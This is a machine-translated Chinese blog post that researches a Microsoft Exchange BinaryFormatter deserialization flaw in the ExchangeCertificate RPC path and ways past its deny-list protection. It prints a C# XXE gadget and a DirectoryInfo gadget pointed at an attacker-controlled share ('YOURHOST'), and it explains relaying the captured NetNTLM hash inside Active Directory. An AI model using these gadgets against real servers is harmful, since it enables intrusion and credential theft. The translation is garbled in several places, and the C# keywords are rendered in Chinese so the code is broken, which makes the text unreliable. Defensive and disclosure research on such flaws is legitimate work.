查看像 Microsoft Exchange 这样的庞大代码库通常是由我的第一种方法驱动的。很高兴看到较小的项目,但学习不同类型的模式(和反模式)特性,例如某种编程语言,只有通过查看巨人才有可能。
作为爱DESE [R ialization缺陷,而现在,和Microsoft Exchange有这类问题的历史了,我试着密切跟踪这种类型的不同可公开获得的漏洞。
有时似乎有机会偶然发现一些新的漏洞。我认为这将是其中之一(它是[第一个]不是!)。
从序列化表示中重建对象可能会导致危险行为,例如远程代码执行 (RCE)。.NET 中这些众所周知的接收器之一是来自“未受保护”格式化程序的反序列化调用,例如BinaryFormatter
.
在安装了各种版本的 Microsoft Exchange 之后,我的一次旅程将我带到了(据说)最新版本的 Exchange 2016。搜索各种 Formatter 调用将我带到了 Exchange Rpc功能,你们中的一些人可能从Outlook Anywhere或交换器之类的工具中知道这些功能(“RPC over HTTP v2 ”)。Microsoft 创建的二进制协议可以(并且仍然)用于此目的,而不是使用人类可读的 HTTP 请求在客户端和 Exchange 服务器后端之间进行通信。
所以,这就是我在考虑反序列化的情况下查看 Rpc 函数时发现的。该类Microsoft.Exchange.Rpc.ExchangeCertificates.ExchangeCertificateRpcServer
提供了几个函数原型,可能可以通过/rpc
端点调用。
然后Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServer
该类相应地实现了原型。
将byte[] inputBlob
这些函数之一中的方法参数作为例如ImportCertificate(int version, byte[] inputBlob, SecureString password)
将我们带到Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServerHelper
.
在这里,构造函数Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc
被调用。
方法调用DeserializeObject(inputBlob, false)
到达同一个类中的危险接收器
用BinaryFormatter
反序列化byte[] inputBlob
(这里byte[] data
)没有使用正确的SerializationBinder
或任何其他形式的保护。这可能会导致带有从ysoserial .NET生成的有效负载的 RCE 。
接下来必须面对几个问题:
- 如何使用适当控制的
inputBlob
字节数组到达接收器? - 我必须重构这种丑陋的二进制格式吗?(提示:我不擅长这个!)
- 怎么可能没有其他人已经(成功地)针对这部分?
长话短说,我几乎立即回答了问题 3,我意识到我在将 Exchange 安装修补到最新版本时完全失败了。我以为我做到了,但没有正确。这一刻,一种愤怒的情绪涌上心头,因为这不是我第一次“重新发现”旧的发现。但是,当我说:一个人在(重新)发现的每个阶段都会学习大量新事物时,请听我说,这也是最终重要的。有时,您甚至可能会重新发现默默修补的漏洞。
但这不是结束。在我们将服务器正确修补到Exchange 2016 CU22(带有最新的 11 月修补程序 KB5007409)之后,我们确实发现了一些有趣的事情。
所以回到工作中,我意识到这个完全修补的 Exchange 还提供了该类Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc
及其方法DeserializeObject(byte[] data, bool customized)
来反序列化上述相同类型的东西。
在这个完全修补的版本中,可以Microsoft.Exchange.Rpc.ExchangeCertificate.ExchangeCertificateRpcServer
再次将与上述非常相似的代码路径跟踪到原型,例如ImportCertificate(int version, byte[] pInBytes, SecureString password)
.
在新推出的Microsoft.Exchange.Diagnostics.ChainedSerializationBinder
约CVE-2021-42321由张和彼得的Json的nDay研究文章已经讨论(同样,读它!)。
正如 Jang 和 Peter 详细解释的那样,有几种情况可以反序列化恶意负载:
- 将
strictMode
必须被设置为False
- [嵌套] 有效负载对象中的完全限定程序集名称不得与定义的拒绝列表中的任何成员匹配,
Microsoft.Exchange.Diagnostics.ChainedSerializationBinder.GlobalDisallowedTypesForDeserialization
其中定义的拒绝列表基本上会从 ysoserial .NET 中杀死所有已知的 .NET 反序列化小工具
正如他们在文章中所指出的,对于 CVE-2021–42321,“绕过”非常简单,因为
strictMode
未设置,因此False
默认情况下- 拒绝列表中有一个著名小工具的拼写错误,其他著名小工具也丢失了
因为这当然在我修补的 Exchange 实例中得到了修复,所以我想再次查看我们的 Rpc 反序列化代码。有趣的是,所有“安全”BinaryFormatter
实例都是ExchangeBinaryFormatterFactory.CreateBinaryFormatter(...)
使用Enum 的某个条目Microsoft.Exchange.Diagnostics.DeserializationLocation
作为strictMode
确定的输入参数从工厂创建的(参见上面本段的第一张图片)。为了证明我们的第一个条件是否strictMode = False
适用于 Rpc 源,我编写了一个快速而肮脏的程序并在我的 Exchange 服务器上执行它。
使用 Microsoft.Exchange.Data.Serialization;
使用 Microsoft.Exchange.Diagnostics;
使用系统;
命名空间 ExchangeStrictModeCheck
{
类程序
{
静态无效 Main(string[] args)
{
bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.ExchangeCertificateRpc);
Console.WriteLine("ExchangeCertificateRpc - strictMode = " strictModeStatus);
数组值 = Enum.GetValues(typeof(DeserializeLocation));
foreach (DeserializeLocation val in values)
{
Console.WriteLine(val "strictMode = " Serialization.GetStrictModeStatus(val));
}
}
}
}
事实上, 的值ExchangeCertificateRpc
被设置为False
。上面的代码不仅返回了这个特定 Enum 条目评估的值,而且在第二步中迭代了所有 Enum 条目。这是输出的摘录:
...
ExchangeCertificateRpc - strictMode = False
Unclassified strictMode = False
Test strictMode = False
Hygiene_CacheSerializer strictMode = False
TopologyDiscovery strictMode = False
UmCore_PipelineContext strictMode = False
UmCommon_Serialization strictMode = False
SharepointNotification strictMode = False
SwordFish_AirSync strictMode = False
SwordFish_UserGroup strictMode = False
SwordFish_Extensions strictMode = False
ModelItemCacheObject = False
TopNConfiguration strictMode = False
TopNData strictMode = False
GroupProvider strictMode = False
SubscribeListHelper strictMode = False
NormalizationCache strictMode = False
ClientExtensionCollectionFormatter strictMode = True
...
阅读整个输出仔细发现,只有11人的94值导致strictMode
被设置为True
。好吧,这意味着绝大多数条目都相等False
,因此在很多情况下,设计上都满足了“绕过条件 1” 。
接下来,“绕过条件 2”变得更加棘手,因为导致 CVE-2021-42321 的不完整拒绝列表已相应调整。如果可以找到另一个不在此拒绝列表中的小工具怎么办?我必须找到花哨的链,即真正新的 RCE 小工具吗?不,我没有,因为桥接小工具也完全可以正常工作(GadgetTypes.BridgeAndDerived
在 ysoserial .NET 中查找)。
让我们再次从失败的尝试开始。在Steven在当前 Exchange 版本中的 XXE 工作的推动下(参见CVE-2020-17141),也许我可以找到一个导致 XXE 接收器的桥接小工具(每个人都专注于即时 RCE 的东西,对吗?)。
该程序集System.Windows.Forms.TableLayoutSettings
(在 GAC 中可用,因此这是“通用的”而不是特定于 Exchange 的)实现了一个序列化构造函数以及一个自定义 TypeConverter
在反SerializationInfo
序列化期间,源自序列化对象的参数包含一个名为SerializedString
. 此外,converter.ConvertFromInvariantString(@string)
调用ConvertFrom
在System.Windows.Forms.Layout.TableLayoutSettingsTypeConverter
.
最后,SerializedString
终于到达了XmlDocument.loadXml(string)
可以触发XXE的sink。可以简单地编写一个 ysoserial .NET 小工具来创建有效负载。相关部分如下所示:
[Serializable]
公共类 TableLayoutSettingsMarshal : ISerializable
{
public TableLayoutSettingsMarshal(string payload)
{
Payload = payload;
}
私有字符串有效载荷 { 获取;}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(Type.GetType("System.Windows.Forms.TableLayoutSettings, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089") );
info.AddValue("SerializedString", Payload);
}
}
随意实现缺少的代码并向 ysoserial .NET 项目提出拉取请求。这是一个很好的练习。
事实证明,我以前的怀疑是正确的:.NET 框架< 4.5.2 的XXE很棘手,几乎不可能,有时可能通过“不幸”XmlResolver
实现等。所以这不适用于最新的 Exchange 2016 版本。
但后来我想起了我的旧推文。那时,我正在寻找一种URLDNS(类似于 Java ysoserial)小工具,但用于 .NET。我发现的小工具不仅能够触发 DNS 请求,而且本质上还能够触发 SMB(或 WEBDAV)向攻击者控制的共享请求。像这样简单地写一行代码
代码语言:javascript复制System.IO.DirectoryInfo gadget = new System.IO.DirectoryInfo(@"\YOURHOST~WithATilde");
BinaryFormatter
在我们的例子中,使用您选择的 Formatter 序列化对象。
现在 SMB 签名可能被禁用,在 Exchange 服务器上安装了 WebClientService 或启用了 WEBDAV 重定向器(在生产环境中看到所有这些!),然后您可以捕获 Exchange 计算机帐户 NetNTLM 哈希并将其中继到您的 Active Directory 中的其他主机(AD) 环境,做了很多坏事。有大量关于中继攻击的出色研究和与 AD 相关的渗透测试文章,所以我不会详细介绍。
那这行得通吗?是的,它确实做到了,基本上我实现了我的目标,即永远不应将拒绝列表方法用于主要保护。在 Exchange 的情况下,对于83 个(记住Serialization.GetStrictModeStatus(DeserializeLocation.*)
)潜在的 BinaryFormatter 工厂调用版本,拒绝列表将是唯一的保护(这里没有“深度防御”)!并亲自检查整个 Exchange 代码库中是否存在多个此类调用。